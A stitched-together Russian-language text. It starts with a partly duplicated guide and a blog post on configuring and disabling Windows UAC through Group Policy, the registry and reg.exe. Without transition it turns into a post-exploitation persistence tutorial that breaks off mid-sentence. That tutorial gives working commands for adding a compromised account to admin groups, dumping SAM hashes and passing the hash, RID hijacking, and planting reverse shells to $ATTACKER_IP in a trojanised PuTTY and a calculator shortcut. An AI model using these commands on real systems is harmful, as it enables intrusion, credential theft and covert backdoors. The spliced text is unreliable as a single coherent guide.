Настройка, отключение User Account Control (UAC) с помощью групповых политик
UAC (User Account Control или контроль учетных записей) важный компонент системы защиты Windows. При запуске любого приложения или процесса, который требует прав администратора, пытается изменить системные настройки, ветки реестра или файлы, компонент контроля учетных записей UAC переключает рабочий стол в защищенный режим и запрашивает подтверждение этих действий у администратора. Тем самым UAC позволяет предотвратить запуск процессов и вредоносных программ, которые потенциально могут нанести вред вашему компьютеру. На скриншоте ниже показано, что при запуске редактора реестра ( regedit.exe ) в Windows 10 появляется окно подтверждения UAC:
Контроль учетных записей Разрешить этому приложению вносить изменения на вашем устройстве?
User Account Control Do you want to allow this app to make changes to your device?
UAC не включен для встроенной учетной записи администратора, которая в Windows 10 по умолчанию отключена.
В этой статье мы рассмотрим, как управлять настройками UAC на отдельном компьютере, или на множестве компьютеров в домене с помощью групповых политик.
Ползунок User Account Control
В Windows 7 (и выше) настройки UAC на компьютере управляются с помощью специального ползунка (вызывается через панель управления или файлом UserAccountControlSettings.exe ). С помощью ползунка вы можете выбрать один из четырех предопределенных уровней защиты UAC.
- Уровень 4 — Always notify — Всегда уведомлять (максимальный уровень защиты UAC);
- Уровень 3 — Notify only when programs try to make changes to my computer (default) – Уведомить только когда программа пытается внести изменения в мой компьютер (стандартный уровень защиты);
- Уровень 2 — Notify only when programs try to make changes to my computer (do not dim my desktop) – то же что и предыдущий уровень, но без переключения на Secure Desktop с блокировкой рабочего стола;
- Уровень 1 — Never notify – Никогда не уведомлять (UAC отключен).
По умолчанию в Windows 10 выбран 3 уровень защиты UAC, который выводит уведомление только при попытке изменить системные файлы или параметры.
Как отключить User Account Control в Windows через GPO?
В большинстве случаев не рекомендуется полностью отключать UAC. Контроль учетных записей это простое, но довольно эффективное средство защиты Windows. В практике принято никогда не отключать UAC на компьютерах пользователей без реального подтверждения того, что UAC мешает нормальной работе. Даже в этих случая есть простые обходные решения по отключению UAC для конкретного приложения, или запуску программ без прав администратора и подавления запроса UAC.
Вы можете отключить UAC с помощью групповой политики. На отдельном компьютере можно использовать редактор локальный групповой политики gpedit.msc . Если нужно распространить политику на компьютеры в домене, нужно использовать консоль Group Policy Management Console — gpmc.msc (рассмотрим этот вариант).
- В консоли управления доменными GPO щелкните по OU с компьютерами, на которых вы хотите отключить UAC и создайте новую политику;
- Отредактируйте политику и перейдите в раздел Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options;
- В этом разделе есть несколько параметров, которые управляют настройками UAC. Имена этих параметров начинаются с User Account Control;
- Для полного отключения UAC установите следующие значения параметров:
- User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode = Elevate without prompting ;
- User Account Control: Detect application installations and prompt for elevation = Disabled ;
- User Account Control: Run all administrators in Admin Approval Mode = Disabled ;
- User Account Control: Only elevate UIAccess applications that are installed in secure locations = Disabled .
- Чтобы обновить настройки групповых политик на компьютерах и отключить UAC, нужно перезагрузить их. После перезагрузки UAC переключится в режим “Никогда не уведомлять”;
Также можно точечно отключать UAC только для некоторых пользователей/компьютеров через реестр, а настройки распространить через Group Policy Preferences.
Создайте новый параметр реестра в ветке GPO Computer Configuration -> Preferences -> Windows Settings -> Registry со следующими настройками:
- Action: Replace
- Hive: HKEY_LOCAL_MACHINE
- Key Path: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- Value name: EnableLUA
- Value type: REG_DWORD
- Value data: 0
Затем перейдите на вкладку Common и включите опции:
- Remove this item when it is no longer applied
- Item-Level targeting
Нажмите на кнопку Targeting и укажите компьютеры, или доменные группы, на которые должна применяться политика отключения UAC.
Даже при отключенном UAC, запуск некоторых приложений может блокироваться с сообщением Это приложение было заблокировано администратором в целях защиты.
Настройка параметров UAC в реестре
Вы можете управлять настройками UAC через реестр. Параметры, отвечающие за поведение контроля учетных записей, находятся в ветке реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.
Когда вы меняете значение ползунка UAC в панели управления, Windows меняет значение параметров реестра из этой ветки следующим образом (ниже приведены готовые REG файлы для разных уровней ползунка User Account Control:
UAC уровень 4 (Always notify):
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] «ConsentPromptBehaviorAdmin»=dword:00000002 «ConsentPromptBehaviorUser»=dword:00000003 «EnableInstallerDetection»=dword:00000001 «EnableLUA»=dword:00000001 «EnableVirtualization»=dword:00000001 «PromptOnSecureDesktop»=dword:00000001 «ValidateAdminCodeSignatures»=dword:00000000 «FilterAdministratorToken»=dword:00000000
UAC уровень 3 (Notify only when programs try to make changes to my computer):
«ConsentPromptBehaviorAdmin»=dword:00000005 «ConsentPromptBehaviorUser»=dword:00000003 «EnableInstallerDetection»=dword:00000001 «EnableLUA»=dword:00000001 «EnableVirtualization»=dword:00000001 «PromptOnSecureDesktop»=dword:00000001 «ValidateAdminCodeSignatures»=dword:00000000 «FilterAdministratorToken»=dword:00000000
UAC уровень 2:
«ConsentPromptBehaviorAdmin»=dword:00000005 «ConsentPromptBehaviorUser»=dword:00000003 «EnableInstallerDetection»=dword:00000001 «EnableLUA»=dword:00000001 «EnableVirtualization»=dword:00000001 «PromptOnSecureDesktop»=dword:00000000 «ValidateAdminCodeSignatures»=dword:00000000 «FilterAdministratorToken»=dword:00000000
UAC уровень 1 (Never notify — UAC отключен):
«ConsentPromptBehaviorAdmin»=dword:00000000 «ConsentPromptBehaviorUser»=dword:00000003 «EnableInstallerDetection»=dword:00000001 «EnableLUA»=dword:00000001 «EnableVirtualization»=dword:00000001 «PromptOnSecureDesktop»=dword:00000000 «ValidateAdminCodeSignatures»=dword:00000000 «FilterAdministratorToken»=dword:00000000
Вы можете изменить значение любого параметра из редактора реестра или из командной строки. Например, чтобы отключить UAC на компьютере (потребуется перезагрузка) можно выполнить команду:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f.
Или аналогичная команда на PowerShell:
New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
В этой ветке есть еще один параметр реестра LocalAccountTokenFilterPolicy, который часто называют Remote UAC. Этот параметр по умолчанию запрещает удаленное подключение к стандартным административным шарам под локальным учетными записями с правами администратора.
Особенности использования UAC в Windows Server
User Account Control в Windows Server работает и управляется так же как в десктопных редакциях Windows.
Допустимо полностью отключать UAC в Windows Server 2016/209, если выполняются следующие условия.
- Только администраторы имеют удаленный доступ к рабочему столу сервера (RDP доступ к серверу для обычных пользователей должен быть отключен). На RDS серверах нужно оставлять UAC включенным;
- Администраторы должны использовать Windows Server только для выполнения административных задач. Работа с офисными документами, мессенджерами, веб браузером должна выполняться только на рабочей станции администратора под обычной учёткой пользователя с включенным UAC, а не на серверах (см. статью о лучших практиках по защите аккаунтов администраторов),
UAC всегда отключен в редакциях Windows Server Core.
При включенном UAC Windows Server запрещает удаленное подключение под локальными аккаунтами (через net use, winrm, Powershell Remoting). Токен такого пользователя будет отфильтрован включенным параметром UAC LocalAccountTokenFilterPolicy (об этом рассказано в предыдущей секции).
Ползунок User Account Control и параметры GPO
Вы можете управлять настройками UAC как с помощью ползунка, так и с помощью групповых политик. Но в редакторе групповых политик отсутствует единый параметр, позволяющий выбрать один из 4 уровней защиты (соответствующий положению ползунка UAC). Вместо этого предлагается регулировать настройки UAC 10 различными политиками. Как уже говорили выше, эти политики находятся в разделе:
Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options (Конфигурация компьютера –> Конфигурация Windows –> Параметры безопасности –> Локальные политики). Имена политик, относящихся к UAC, начинаются с User Account Control (Контроль учетных записей).
В следующей таблице представлен список политик UAC, и соответствующие им параметры реестра.
Имя политики | Ключ реестра, настраиваемый политикой | |
User Account Control: Admin Approval Mode for the Built-in Administrator account | Контроль учетных записей: использование режима одобрения администратором для встроенной учетной записи администратора | FilterAdministratorToken |
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop | Контроль учетных записей: разрешать UIAccess-приложениям запрашивать повышение прав, не используя безопасный рабочий стол | EnableUIADesktopToggle |
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode | Контроль учетных записей: поведение запроса на повышение прав для администраторов в режиме одобрения администратором | ConsentPromptBehaviorAdmin |
User Account Control: Behavior of the elevation prompt for standard users | Контроль учетных записей: поведение запроса на повышение прав для обычных пользователей | ConsentPromptBehaviorUser |
User Account Control: Detect application installations and prompt for elevation | Контроль учетных записей: обнаружение установки приложений и запрос на повышение прав | EnableInstallerDetection |
User Account Control: Only elevate executables that are signed and validated | Контроль учетных записей: повышение прав только для подписанных и проверенных исполняемых файлов | ValidateAdminCodeSignatures |
User Account Control: Only elevate UIAccess applications that are installed in secure locations | Контроль учетных записей: повышать права только для UIAccess-приложений, установленных в безопасном местоположении | EnableSecureUIAPaths |
User Account Control: Run all administrators in Admin Approval Mode | Контроль учетных записей: включение режима одобрения администратором | EnableLUA |
User Account Control: Switch to the secure desktop when prompting for elevation | Контроль учетных записей: переключение к безопасному рабочему столу при выполнении запроса на повышение прав | PromptOnSecureDesktop |
User Account Control: Virtualize file and registry write failures to per-user locations | Контроль учетных записей: при сбоях записи в файл или реестр виртуализация в размещение пользователя | EnableVirtualization |
По умолчанию для стандартных настроек UAC (уровень 3) используются следующие настройки групповых политик:
UAC Уровень 3 (по умолчанию)
Admin Approval Mode for the Built-in Administrator account = Disabled
Allow UIAccess applications to prompt for elevation without using the secure desktop = Disabled
Behavior of the elevation prompt for administrators in Admin Approval Mode = Prompt for consent for non-Windows binaries
Behavior of the elevation prompt for standard users = Prompt for credentials on the secure desktop
Detect application installations and prompt for elevation = Enabled для рабочих групп, Disabled для домена
Only elevate executables that are signed and validated = Disabled
Only elevate UIAccess applications that are installed in secure locations = Enabled
Run all administrators in Admin Approval Mode = Enabled
Switch to the secure desktop when prompting for elevation = Enabled
Virtualize file and registry write failures to per-user locations = Enabled
User Account Control (UAC) или контроль учетных записей – это функция безопасности Windows включенная по умолчанию и предназначенная для предотвращения нежелательных изменений в ОС. Если программа пытается выполнить действие, требующее прав администратора (например, установить программу, изменить настройки ОС, ветки реестра или системные файлы), UAC уведомляет об этом и запрашивает подтверждения этих действий у администратора. Тем самым снижается риск несанкционированных изменений и выполнения вредоносного кода с правами администратора.
В этой статье мы рассмотрим, как управлять настройками контроля учетных записей в Windows
Содержание:
- Настройки контроля учётных записей (UAC) в Windows
- Управление параметрами User Account Control через GPO
- Ползунок User Account Control и соответствие параметров реестра (GPO)
- Как полностью отключить UAC в Windows через GPO?
Как выглядит окно UAC? Например, при попытке повышения привилегий процесса в сессии пользователя с правами локального администратора, появляется окно подтверждения UAC:
Контроль учетных записей Разрешить этому приложению вносить изменения на вашем устройстве?
User Account Control Do you want to allow this app to make changes to your device?
Настройки контроля учётных записей (UAC) в Windows
Для управления настройками UAC в панели управления Windows доступен специальный апплет Change User Account Control settings, который можно запустить из классической панели управления или с помощью команды
UserAccountControlSettings.exe
.
С помощью ползунка можно выбрать уровень контроля учетных записей на компьютере. Доступно 4 уровня:
- Уровень 4 — Always notify — Всегда уведомлять (максимальный уровень защиты UAC);
- Уровень 3 — Notify only when programs try to make changes to my computer (default) – Уведомить только когда программа пытается внести изменения в мой компьютер (используется в Windows по умолчанию);
- Уровень 2 — Notify only when programs try to make changes to my computer (do not dim my desktop) – то же что и предыдущий уровень, но без переключения на Secure Desktop с блокировкой рабочего стола;
- Уровень 1 — Never notify – Никогда не уведомлять
Обратите внимание, что перевод ползунка в нижнее положение Никогда не уведомлять, не отключает UAC полностью. Этот режим включает автоматическое подтверждения запросов на повышение прав, инициированных администратором, без отображения окна с запросом UAC. В сессиях пользователей запросы повышения прав автоматически откланяются.
Чтобы полностью отключить UAC, нужно отключить параметр локальной политики Контроль учетных записей: все администраторы работают в режиме одобрения администратором (User Account Control: Run all administrators in Admin Approval Mode). Об этом ниже.
Управление параметрами User Account Control через GPO
Возможно управление параметрами контроля учетных записей UAC в Windows через групповые политики. Имена политик, относящихся к UAC, начинаются с User Account Control (Контроль учетных записей) и находятся в разделе редактора GPO Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options (Конфигурация компьютера –> Конфигурация Windows –> Параметры безопасности –> Локальные политики).
Доступно 12 параметров GPO. В следующей таблице представлен список политик UAC, и соответствующие им параметры реестра (ветка HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System) и возможные значения (в том числе значения по-умолчанию).
Имя политики | Ключ реестра | Значения | |
User Account Control: Admin Approval Mode for the Built-in Administrator account | Контроль учетных записей: использование режима одобрения администратором для встроенной учетной записи администратора |
FilterAdministratorToken
|
0 (Default) = Disabled 1 = Enabled |
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop | Контроль учетных записей: разрешать UIAccess-приложениям запрашивать повышение прав, не используя безопасный рабочий стол |
EnableUIADesktopToggle
|
0 (Default) = Disabled 1 = Enabled |
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode | Контроль учетных записей: поведение запроса на повышение прав для администраторов в режиме одобрения администратором |
ConsentPromptBehaviorAdmin
|
0 = Elevate without prompting 1 = Prompt for credentials on the secure desktop 2 = Prompt for consent on the secure desktop 3 = Prompt for credentials |
User Account Control: Behavior of the elevation prompt for standard users | Контроль учетных записей: поведение запроса на повышение прав для обычных пользователей |
ConsentPromptBehaviorUser
|
0 = Automatically deny elevation requests 1 = Prompt for credentials on the secure desktop3 (Default) = Prompt for credentials |
User Account Control: Detect application installations and prompt for elevation | Контроль учетных записей: обнаружение установки приложений и запрос на повышение прав |
EnableInstallerDetection
|
1 = Enabled 0 = Disabled (default) |
User Account Control: Only elevate executables that are signed and validated | Контроль учетных записей: повышение прав только для подписанных и проверенных исполняемых файлов |
ValidateAdminCodeSignatures
|
0 (Default) = Disabled 1 = Enabled |
User Account Control: Only elevate UIAccess applications that are installed in secure locations | Контроль учетных записей: повышать права только для UIAccess-приложений, установленных в безопасном местоположении |
EnableSecureUIAPaths
|
0 = Disabled 1 (Default) = Enabled |
User Account Control: Run all administrators in Admin Approval Mode | Контроль учетных записей: включение режима одобрения администратором |
EnableLUA
|
0 = Disabled 1 (Default) = Enabled |
User Account Control: Switch to the secure desktop when prompting for elevation | Контроль учетных записей: переключение к безопасному рабочему столу при выполнении запроса на повышение прав |
PromptOnSecureDesktop
|
0 = Disabled 1 (Default) = Enabled |
User Account Control: Virtualize file and registry write failures to per-user locations | Контроль учетных записей: при сбоях записи в файл или реестр виртуализация в размещение пользователя | EnableVirtualization | 0 = Disabled 1 (Default) = Enabled |
User Account Control: Behavior of the elevation prompt for administrators running with Administrator Protection | опции появилbсь в Windows 11 в конце 2024 для управления новой функцией Local Administrator Protection
|
||
User Account Control: Configure type of Admin Approval Mode |
Ползунок User Account Control и соответствие параметров реестра (GPO)
Когда вы меняете уровень защиты UAC с помощью ползунка в панели управления, Windows изменяет значения следующих параметров реестра.
Уровень ползунка UAC |
PromptOnSecureDesktop
|
EnableLUA
|
ConsentPromptBehaviorAdmin
|
4 — Всегда уведомлять | 1 | 1 | 2 |
3 — Уведомлять при попытках приложений изменить параметры | 1 | 1 | 5 |
2- Уведомлять без затемнения экрана | 0 | 1 | 5 |
1 — Отключить UAC и не уведомлять | 0 | 1 | 0 |
Таким образом, если вы хотите через GPO задать параметры UAC, соответствующие уровню ползунка вам достаточно настроить 3 параметра политик (указаны выше).
Например, для UAC уровень 3 (Notify only when programs try to make changes to my computer) нужно внедрить такие параметры в реестр:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"PromptOnSecureDesktop"=dword:00000001
"EnableLUA"=dword:00000001
"ConsentPromptBehaviorAdmin"=dword:00000005
"ConsentPromptBehaviorUser"=dword:00000003
"EnableInstallerDetection"=dword:00000001
"EnableVirtualization"=dword:00000001
"ValidateAdminCodeSignatures"=dword:00000000
"FilterAdministratorToken"=dword:00000000
Значения параметров ConsentPromptBehaviorUser, EnableInstallerDetection, EnableVirtualization, ValidateAdminCodeSignatures и FilterAdministratorToken будут одинаковыми для всех уровней.
Как полностью отключить UAC в Windows через GPO?
Рассмотрим, как через групповые политики отключить контроль учетных записей в Windows.
На отдельном компьютере можно использовать редактор локальный групповой политики
gpedit.msc
. Если нужно применить политику на множестве компьютерлв в домене, нужно использовать консоль Group Policy Management Console —
gpmc.msc
(рассмотрим этот вариант).
- В консоли управления доменными GPO щелкните по OU с компьютерами, на которых вы хотите отключить UAC и создайте новую политику
- Отредактируйте политику и перейдите в разделComputer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options;
- Для полного отключения UAC установите следующие значения параметров:
- User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode =
Elevate without prompting
;
- User Account Control: Detect application installations and prompt for elevation =
Disabled
; - User Account Control: Run all administrators in Admin Approval Mode =
Disabled
; - User Account Control: Only elevate UIAccess applications that are installed in secure locations =
Disabled
.
- Чтобы обновить настройки групповых политик на компьютерах и отключить UAC, нужно перезагрузить их.
Также можно точечно отключать UAC только для некоторых пользователей/компьютеров через реестр, а настройки распространить через Group Policy Preferences.
Создайте новый параметр реестра в ветке GPO Computer Configuration -> Preferences -> Windows Settings -> Registry со следующими настройками:
- Action: Replace
- Hive: HKEY_LOCAL_MACHINE
- Key Path: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- Value name: EnableLUA
- Value type: REG_DWORD
- Value data: 0
Затем перейдите на вкладку Common и включите опции:
- Remove this item when it is no longer applied
- Item-Level targeting
Нажмите на кнопку Targeting и укажите компьютеры, или доменные группы, на которые должна применяться политика отключения UAC.
Вы можете изменить значение любого параметра из редактора реестра или из командной строки. Например, чтобы отключить UAC на компьютере (потребуется перезагрузка) можно выполнить команду:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f.
Или аналогичная команда на PowerShell:
New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
- На главную
- Статьи
- Как отключить контроль учётных записей в Windows 10
При работе в Windows 10 невозможно не соблюдать ограничения, накладываемые контролем учётных записей (User Account Control или UAC). Технология безопасности помогает защитить компьютер от вредоносных программ, но в то же время требует частого подтверждения действий со стороны пользователя.
2021-12-03 11:15:0716
При работе в Windows 10 невозможно не соблюдать ограничения, накладываемые контролем учётных записей (User Account Control или UAC). Технология безопасности помогает защитить компьютер от вредоносных программ, но в то же время требует частого подтверждения действий со стороны пользователя. Если это раздражает, можно временно отключить функцию, воспользовавшись одним из нескольких методов.
Что такое UAC?
User Account Control в Windows 10 является неотъемлемой частью безопасности ОС. Когда сторонняя утилита пытается внести изменения в компьютер, он вмешивается и запрашивает подтверждение. Принятие позволяет приложению временно действовать с полными правами пользователя, то есть правами Администратора.
Каждый раз, когда нужно открыть или установить софт, в элементе управления UAC будут отображаться следующие сообщения: «Разрешить программе вносить изменения в компьютер?» и «Щелкните «Да», чтобы продолжить».
Безопасно ли отключать UAC?
По умолчанию контроль учётных записей должен быть включен. И не зря. В нормальных условиях пользователь получит запрос на подтверждение различных действий, прежде чем они смогут произойти на компьютере. В частности, при установке программ, открытии редактора реестра и изменении основных настроек системы.
Без этого контроля взлом компьютера вредоносным ПО может быть тривиальным делом. Приложения не требуют разрешения пользователя для внесения изменений в систему, соответственно, они могут вносить какие угодно изменения без их ведома.
Многие предпочитают в целом отключить UAC. Ведь каждый раз, когда нужно выполнить конкретные задачи, постоянно отображаются запросы, что кажется навязчивым. Но делать это следует только в определенных обстоятельствах. Например, если есть учётная запись без прав Администратора и отдельная администраторская для выполнения любых задач по установке или настройке или нужно устранить возникшие неполадки ПО.
Как отключить UAC в Windows 10?
Есть 4 основных метода. Рекомендуется отключать User Account Control через Панель управления, и этот способ стоит использовать в первую очередь, потому что он считается самым простым, а вероятность совершить ошибку в процессе нулевая.
Панель управления
Необходимо выполнить несколько шагов:
- Для открытия системного инструмента нажать Win + R, и вписать в поле окна «Выполнить» команду control. Клацнуть по клавише Enter.
- Перейти в раздел «Учётные записи пользователей».
- Здесь выбрать опцию «Изменить параметры контроля учётных записей».
- Можно сразу снизить уровень до минимума, то есть до «Никогда не уведомлять». Нажать кнопку «Ок».
- Разрешить этому приложению вносить изменения на устройстве, щелкнув по «Да».
- Перезагрузить устройство.
В этом же окне можно вернуть настройки обратно, передвинув ползунок до рекомендуемого уровня и кликнув по «Ок».
Редактор реестра
Опытные пользователи могут отключить UAC через реестр, если по какой-то причине они не хотят использовать Панель управления или доступ к ней ограничен.
- Для открытия реестра вызвать диалоговое окно, нажав клавиши Win + R. Вписать в поле поиска команду regedit.exe, а затем кликнуть по «Ок».
- Разрешить этому приложению вносить изменения на устройстве, нажав «Да».
- В разделе HKEY_LOCAL_MACHINE перейти в папку Software – Microsoft – Windows – CurrentVersion – Policies – System.
- В списке справа найти файл под названием EnableLUA. Активировать его открытие, дважды щелкнув по нему левой кнопкой мыши – в новом окне изменить значение параметра на «0». Для сохранения настроек кликнуть по «Ок».
- Перезагрузить устройство.
Редактор локальной групповой политики
В Windows 10 для пользователей открыт доступ к gpedit. Здесь все устроено так же, как и в реестре, но более интуитивно-понятный и безопасный интерфейс:
- Чтобы открыть Редактор, в диалоговое окно (Win + R) вставить команду msc и нажать Enter.
- Перейти в папку «Конфигурация Windows» – «Параметры безопасности» – «Локальные политики» – «Параметры безопасности».
- Прокрутить страницу вниз, чтобы найти файл «Контроль учётных записей пользователей: все администраторы работают в режиме одобрения администратором».
- Кликнуть по нему дважды левой кнопкой мыши, чтобы активировать открытие.
- Переместить переключатель на «Отключен». Нажать «Применить», а затем – «Ок».
- Перезагрузить устройство.
Командная строка
Редактирование настроек в Панели управления, но проще и быстрее:
- Запустить командную строку от имени Администратора (Win + R – cmd – Ctrl + Shift + Enter).
- Разрешить этому приложению вносить изменения на устройстве, клацнув по «Да».
- В открывшемся окне в место мигающего курсора вставить следующую команду без кавычек:
«reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f».
- Нажать Enter для совершения операции.
- Перезагрузить устройство.
Завершив выполняемую задачу, настоятельно рекомендуется снова включить UAC. В последнем случае необходимо заменить значение «0» на «1».
Как автоматически отклонять запросы на повышение уровня UAC?
Эту процедуру можно выполнить через реестр или групповую политику.
В групповой политике нужно перейти по пути «Конфигурация Windows» – «Параметры безопасности» – «Локальные политики» – «Параметры безопасности». В последнем разделе среди файлов справа найти «Контроль учётных записей: поведение запроса на повышение прав для обычных пользователей». Дважды кликнуть по файлу и выбрать вариант автоматического отклонения запросов. Применить изменения, нажать «Ок» и выйти из программы. Обязательно перезагрузить ПК.
В Редакторе реестра следует перейти к разделу System (HKEY_LOCAL_MACHINE – Software – Microsoft – Windows – CurrentVersion – Policies). Справа найти файл ConsentPromptBehaviorUser, дважды щелкнуть по нему и изменить его значение на «0». В конце клацнуть по кнопке «Ок» и перезагрузить ПК.
Ваш покорный слуга — компьютерщик широкого профиля: системный администратор, вебмастер, интернет-маркетолог и много чего кто. Вместе с Вами, если Вы конечно не против, разовьем из обычного блога крутой технический комплекс.
После получения первоначального доступа к скомпроментированной машине, нужно предусмотреть способы закрепления на ней — оставить бэкдор, для того, чтобы была возможность подключится к машине минуя, в терминах Cyber Kill Chain, Exploitation фазу
Ниже перечисленны различные способы закрепления.
Имей в виду
Все нижеперечисленные методы довольно просто реализовать только на тех системах, которые не имеют нормальной защиты. Под нормальной подразумевается хотя бы наличие EDR и маломальского мониторинга событий безопасности: работа с локальными группами/учётками, доступ к реестру и т.д.
Кроме того, следует иметь в виду, что все действия выполняются от Административной учётки, так как подразумевается, что такой доступ к системе уже имеется, задача состоит в закреплении.
Модификация неадминистративных аккаунтов
Модификация простых учётных записей позволит наделить их административными привилегиями не привлекая к себе дополнительного внимания. Далее различные способы осуществления вышесказанного.
Добавление в локальные группы
Наиболее очевидный и самый топорный способ добавить в группу локальных администраторов, который позволит подключаться по RDP и использовать WMI:
Добавление в группу локальных администраторов
C:\> net localgroup administrators hacked_user /add
Добавление в группу Backup Operators
не позволит подключаться по RDP и WMI, однако даст возможность получить доступ к любому файлу или ветке реестра в системе минуя DACL
Добавление в группу Backup Operators
C:\> net localgroup "Backup Operators" hacked_user /add
Учётка будет добавлена, однако по умолчанию, группа Backup Operators
отключена. Для её включения нужно изменить следующий ключ в реестре:
Включение группы Backup Operators
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Для того, чтобы появилась возможность подключаться с такой учёткой по RDP или WMI, нужно добавить её в соответствующую группу:
Добавление в группу Remote management users
C:\> net localgroup "Remote Management Users" hacked_user /add
Пример с добавлением в группу Backup Operators
Предположим, что hacked_user
уже добавлен в группы Backup Operators
и Remote Managment Users
и соответствующие ключи реестра установлены в нужные значения.
Использование Backup Operators для получения хэшей
# Подключаемся через evil-winrm к целевой машине
evil-winrm -i 10.10.10.10 -u hacked_user -p Pas5w0rd
# Получаем и скачиваем ключи реестра с хэшами паролей
C:\> reg save hklm\system system.bak
C:\> reg save hklm\sam sam.bak
C:\> download system.bak
C:\> download sam.bak
# Запускаем secretdump.py из impacket для дампа хэшей
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
# Подключаемся к целевой машине через атаку Path-The-Hash
evil-winrm -i 10.10.10.10 -u Administrator -H 1cra18he6653f69e97034a4cb4ddbcc6
Специальные привилегии и дескрипторы безопасности
Результат похожий на добавление учётки в специальную группу можно достичь и другим путём — назначением учётке специальных привилегий
Интересовать нас будут: SeBackupPrivilege
и SeRestorePrivilege
Для назначения особых привилегий пользователю можно воспользоваться командой secedit
. С её помощью можно выгрузить конфигурационный файл в котором назначаются привилегии:
secedit /export /cfg config.inf
после чего, нужно будет просто добавить через запятую (без пробела) нужного пользователя в строке с желаемыми привилегиями.
Далее, нужно вернуть импортировать новый конфиг и залить его в систему:
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
После вышеописанных манипуляция, пользователь будет обладать привелегиями SeBackupPrivilege
и SeRestorePrivilege
, что эквивалентно его нахождению в группе Backup Operators
, однако пользователь всё же не сможет работать через WMI. Конечно, пользователя можно было бы добавить в группу Remote Management Users
, однако есть более изящный пример, заключающийся в изменении параметров дескрипторов безопасности Powershell
:
Открытие окна изменения дескрипторов безопасности Powershell
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
выдав нужному пользователю Full Control
пользователь получит возможность подключатся через WMI.
Помни!
Нужно не забывать, что для того, чтобы специальные привилегии работали должным образом нужно изменить параметр реестра LocalAccountTokenFilterPolicy
В итоге, если проверить изменённого таким образом пользователя без пристрастия — получим рядовую учётку не состоящую ни в каких подозрительных группах.
Подмена RID
Способ заключается в подмене некоторых ключей реестра таким образом, что Windows будет считать простого пользователя администратором.
Как известно, локальный администратор имеет RID=500, простые пользователи имеют RID >= 1000. Для просмотра значений RID можно воспользоваться следующей командой wmic:
Просмотр RID
wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
ordinary_user1 S-1-5-21-1966530601-3185510712-10604624-1008
ordinary_user2 S-1-5-21-1966530601-3185510712-10604624-1009
hacked_user S-1-5-21-1966530601-3185510712-10604624-1010
К сведению
RID — последние 4 бита SID
Для подмены нужно получить доступ к SAM кусту. Сделать это можно запустив regedit
через psexec
:
C:\sysinternals\psexec64.exe -i -s regedit
Переходим в HKLM\SAM\SAM\Domains\Account\Users\
и находим ключ значение которого соответствует hacked_user RID в шестнадцатиричной системе счисления:
$ python3 -c "print(hex(1010))"
0x3f2
Далее, в ключе 3f2
находим значение F
которое на 30 позиции содержит в себе RID записанный в обратном порядке и заменяем его на RID Администратора: RID 500 = 0x0104 -> f401
В итоге, после следующего входа пользователя hacked_user
ОС определит его как локального Администратора.
Бэкдоры из приложений
Еще одним способом закрепления является подмена исполяемых файлов с которыми пользователи регулярно взаимодействуют. Существует множество различных способов создания и размещения таких файлов, тут будут описаны лишь некоторые.
Исполняемые файлы
Используя msfvenom
можно внедрить payload прямиком в экзешник. В таком случае, внедренный код, например reverse shell, будет выполнятся всякий раз когда будет стартовать заражённый исполняемый файл.
Внедрение reverse shell в исполняемый файл
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=$ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
Ярлыки
Другой метод заключается в подмене ярлыка используемого для запуска какого-нибудь исполняемого файла. В поле target
(объект
) ярлыка можно добавить специальные параметры которые приведут к запуску как исполняемого файла так и бэкдора.
В качестве примера подменим ярлык запуска Калькулятора, заставив его вызывать powershell скрипт который сначала создаст reverse shell, а затем запустит C:\Windows\System32\calc.exe
. Предположим, что в директории C:\tools\
у нас уже есть netcat
:
backdoor.ps1
# Сначала shell, потом calc
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe $ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
Осталось только внести изменения в поле target
(объект
). Добавляем туда следующую строку:
Подмена ярлыка
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
Подмена обработчика расширений файлов
Информация о расширении файлов хранится в ветке реестра HKLM\SOFTWARE\Classes
. Каждое расширение содержит информацию о progID
(значение Default
